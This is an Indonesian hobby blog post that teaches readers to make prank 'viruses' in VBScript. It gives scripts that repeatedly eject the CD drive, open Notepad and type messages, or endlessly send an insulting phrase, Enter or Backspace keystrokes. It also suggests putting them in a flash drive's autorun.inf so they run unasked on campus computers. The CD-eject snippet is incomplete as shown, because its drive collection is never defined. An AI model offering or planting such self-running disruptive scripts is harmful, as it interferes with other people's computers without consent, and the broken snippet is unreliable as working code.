Kali ini saya akan membagi-bagikan sebuah keisengan brow.. ya keiseng-isengan tapi tenang aja gak begitu berbahaya ko' cuma sedikit bikin dag-dig-dug-der aja hahaaa.. Penasarankan apa..? yupz, sesuai dengan judulnya yaitu Membuat Virus Genit, saya akan membagi-bagikan ilmunya ni brow.. simak baik-baiknya sob..
Caranya: Buka notepad dan masukkan code berikut,
do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti, hahahaaaaa...
Tapi jangan kawatir brow.. ni ane kasih solusinye.. cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.(Baikan brow ane ni...? heheee)
Nah mau script .vbs yang laen lagi..? ni ane kasih dah scriptnya lagi..
WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "K" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 wscript.sleep 5000 loop
Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik? ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as. lebih kurang begini gambarnya
Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq!" loop
Dan membuat terus menerus menekan tombol “Enter”
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop
Terus tekan backspace:
MsgBox "Balik lagi ah...saltik" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop
kalau sobat males atau ga tau cara copasnya. download ajah disini
Terima kasih Sobat, anda telah membaca Artikel Membuat Virus Genit yang mana Artikel ini mungkin bermanfaat bagi sobat-sobat semua. Adapun
Keluh,kesah dan unek-unek
Sobat setelah membaca Artikel Membuat Virus Genit
ini. . . dapat Sobat sampaikan melalui kotak Curhatan
di bawah ini
